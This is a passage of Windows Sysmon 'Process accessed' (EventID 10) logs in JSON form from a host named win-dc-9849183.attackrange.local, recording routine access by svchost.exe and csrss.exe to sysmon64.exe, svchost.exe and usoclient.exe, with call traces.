C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1248\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00101F250900}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1248","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00101F250900}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+389a|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6256,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00101F250900}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\system32\\usoclient.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00101F250900}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\system32\\usoclient.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 